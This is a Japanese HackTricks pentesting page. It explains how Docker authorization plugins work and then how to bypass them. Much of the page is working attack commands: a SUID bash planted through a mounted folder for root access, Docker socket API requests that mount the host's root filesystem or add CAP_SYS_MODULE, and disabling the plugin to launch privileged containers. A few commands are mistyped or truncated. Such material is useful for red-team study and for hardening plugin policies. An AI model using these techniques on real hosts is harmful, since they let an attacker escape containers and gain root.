AuthZ& AuthN - Docker Access Authorization Plugin

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Dockerのデフォルトの認可モデルはすべてまたは何もです。Dockerデーモンにアクセス権限を持つ任意のユーザーは任意のDockerクライアントコマンドを実行できます。同じことが、DockerのEngine APIを使用してデーモンに連絡する呼び出し元にも当てはまります。より細かいアクセス制御が必要な場合、認可プラグインを作成し、Dockerデーモン構成に追加できます。認可プラグインを使用すると、Docker管理者はDockerデーモンへのアクセスを管理するための細かいアクセスポリシーを構成できます。

基本的なアーキテクチャ

Docker Authプラグインは外部プラグインであり、Dockerデーモンに要求されたアクション許可/拒否するために使用できます。これは、要求したユーザー要求されたアクションに応じて、Dockerデーモンに要求されたアクション許可/拒否することができます。

以下の情報はドキュメントから

CLIを介してまたはEngine APIを介してDockerデーモンにHTTPリクエストが行われると、認証サブシステムはインストールされた認証プラグインにリクエストを渡します。リクエストにはユーザー(呼び出し元)とコマンドコンテキストが含まれます。プラグインは、リクエストを許可または拒否するかを決定する責任があります。

以下のシーケンス図は、許可および拒否の認可フローを示しています:

プラグインに送信される各リクエストには、認証されたユーザー、HTTPヘッダー、およびリクエスト/レスポンスボディが含まれます。プラグインに渡されるのはユーザー名と使用された認証方法だけです。最も重要なのは、ユーザーの資格情報やトークンは渡されないことです。最後に、認可プラグインに送信されるのは、Content-Typetext/*またはapplication/jsonであるリクエスト/レスポンスボディのみです。

execなどのHTTP接続を乗っ取る可能性のあるコマンドに対して(HTTPアップグレードなど)、認可プラグインは最初のHTTPリクエストのみに対して呼び出されます。プラグインがコマンドを承認すると、残りのフローには認可が適用されません。具体的には、ストリーミングデータは認可プラグインに渡されません。logseventsなどのチャンク化されたHTTPレスポンスを返すコマンドに対しては、HTTPリクエストのみが認可プラグインに送信されます。

リクエスト/レスポンス処理中、一部の認可フローではDockerデーモンへの追加のクエリが必要になる場合があります。このようなフローを完了するために、プラグインは通常のユーザーと同様にデーモンAPIを呼び出すことができます。これらの追加のクエリを有効にするには、プラグインは管理者が適切な認証およびセキュリティポリシーを構成できる手段を提供する必要があります。

複数のプラグイン

Dockerデーモンの起動の一部として、プラグイン登録する責任があります。複数のプラグインをインストールし、それらを連結することができます。このチェーンは順序付けられることができます。デーモンへの各リクエストは、チェーンを通過して順番に処理されます。リソースへのアクセスがすべてのプラグインによって許可される場合のみ、アクセスが許可されます。

プラグインの例

Twistlock AuthZ Broker

プラグインauthzを使用すると、JSONファイルを作成して、リクエストを承認するためにプラグイン読み取ることができます。したがって、各ユーザーがどのAPIエンドポイントに到達できるかを非常に簡単に制御できます。

以下は、AliceとBobが新しいコンテナを作成できるようにする例です:{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}

ページroute_parser.goでは、要求されたURLとアクションの関係を見つけることができます。ページtypes.goでは、アクション名とアクションの関係を見つけることができます

シンプルプラグインチュートリアル

インストールとデバッグに関する詳細な情報を含む理解しやすいプラグインをこちらで見つけることができます:https://github.com/carlospolop-forks/authobot

READMEplugin.goのコードを読んで、どのように動作するかを理解してください。

Docker Authプラグインのバイパス

アクセスの列挙

確認する主なポイントは許可されているエンドポイント許可されているHostConfigの値です。

この列挙を実行するには、https://github.com/carlospolop/docker_auth_profilerというツールを使用できます。

許可されていない run --privileged

最小権限

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

コンテナを実行して特権セッションを取得する

この場合、システム管理者はユーザーがボリュームをマウントしたり、--privilegedフラグを使用してコンテナを実行したり、コンテナに追加の権限を与えることを禁止しています。

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

しかし、ユーザーは実行中のコンテナ内でシェルを作成し、追加の特権を与えることができます:

docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de

# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash

今、ユーザーは以前に議論されたテクニックのいずれかを使用してコンテナから脱出し、ホスト内で特権を昇格することができます。

書き込み可能フォルダのマウント

この場合、システム管理者はユーザーに--privilegedフラグを使用してコンテナを実行することを禁止し、コンテナに追加の権限を与えることを許可せず、/tmpフォルダのみをマウントすることを許可しました。

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root

/tmpフォルダをマウントできない場合がありますが、別の書き込み可能なフォルダをマウントすることができます。書き込み可能なディレクトリを見つけるには、次のコマンドを使用できます:find / -writable -type d 2>/dev/null

Linuxマシンのすべてのディレクトリがsuidビットをサポートするわけではありません! suidビットをサポートするディレクトリを確認するには、mount | grep -v "nosuid"を実行します。たとえば、通常、/dev/shm/run/proc/sys/fs/cgroup/var/lib/lxcfsはsuidビットをサポートしていません。

また、/etcをマウントしたり、構成ファイルを含む他のフォルダをマウントした場合、それらをdockerコンテナ内でrootとして変更してホストで悪用し、特権を昇格させることができます(たとえば、/etc/shadowを変更することができます)

未チェックのAPIエンドポイント

このプラグインを構成するシステム管理者の責任は、各ユーザーがどのアクションをどの特権で実行できるかを制御することです。したがって、管理者がエンドポイントと属性にブラックリストアプローチを取る場合、攻撃者が特権を昇格させる可能性のあるいくつかのエンドポイントを見落とす可能性があります。

Docker APIはhttps://docs.docker.com/engine/api/v1.40/#で確認できます。

未チェックのJSON構造

ルートでのバインド

システム管理者がDockerファイアウォールを構成する際に、APIの重要なパラメータである「Binds」を見落とした可能性があります。 次の例では、この構成ミスを悪用して、ホストのルート(/)フォルダをマウントするコンテナを作成および実行することが可能です:

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

この例では、JSON内のルートレベルのキーとして Binds パラメータを使用していますが、APIでは HostConfig キーの下に表示されていることに注意してください。

HostConfig内のBinds

ルート内のBinds と同じ手順に従い、Docker APIにこの リクエスト を実行してください:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create

ルートでのマウント

ルートでのバインドと同じ手順に従い、このDocker APIに対してリクエストを実行します:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create

HostConfig内のマウント

Docker APIにこのリクエストを実行する際に、rootでのバインドと同じ手順に従ってください:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre

未チェックのJSON属性

システム管理者がDockerファイアウォールを設定する際に、APIHostConfig内のCapabilitiesなどの重要なパラメータの属性を見落としてしまった可能性があります。次の例では、この設定ミスを悪用して、SYS_MODULE機能を持つコンテナを作成および実行することが可能です。

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

HostConfigは通常、コンテナから脱出するための興味深い権限を含んでいるキーです。ただし、以前に議論したように、それ以外の場所でBindsを使用することも機能し、制限をバイパスすることができる可能性があります。

プラグインの無効化

システム管理者プラグイン無効化禁止するのを忘れていた場合、これを完全に無効化するためにこれを利用することができます!

docker plugin list #Enumerate plugins

# If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin

docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot

認証プラグインのバイパスに関する解説

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated